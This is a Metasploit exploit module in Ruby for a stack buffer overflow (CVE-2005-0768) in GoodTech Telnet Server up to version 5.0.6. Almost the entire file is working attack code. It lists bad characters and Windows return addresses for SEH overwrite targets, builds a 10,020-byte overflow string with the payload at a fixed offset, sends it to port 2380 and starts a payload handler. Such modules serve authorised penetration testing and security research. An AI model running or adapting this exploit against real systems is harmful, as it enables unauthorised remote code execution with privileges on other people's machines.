##
# $Id: goodtech_telnet.rb 9262 2010-05-09 17:45:00Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'GoodTech Telnet Server <= 5.0.6 Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in GoodTech Systems Telnet Server
versions prior to 5.0.7. By sending an overly long string, an attacker can
overwrite the buffer and control program execution.
},
'License' => MSF_LICENSE,
'Author' => 'MC',
'Version' => '$Revision: 9262 $',
'References' =>
[
[ 'CVE', '2005-0768' ],
[ 'OSVDB', '14806'],
[ 'BID', '12815' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 400,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows 2000 Pro English All', { 'Ret' => 0x75022ac4 } ],
[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],
],
'Privileged' => true,
'DisclosureDate' => 'Mar 15 2005',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(2380)
], self.class)
end
def exploit
connect
sploit = rand_text_english(10020, payload_badchars)
seh = generate_seh_payload(target.ret)
sploit[10012, seh.length] = seh
print_status("Trying target #{target.name}...")
sock.put(sploit + "\r\n\r\n")
handler
disconnect
end
end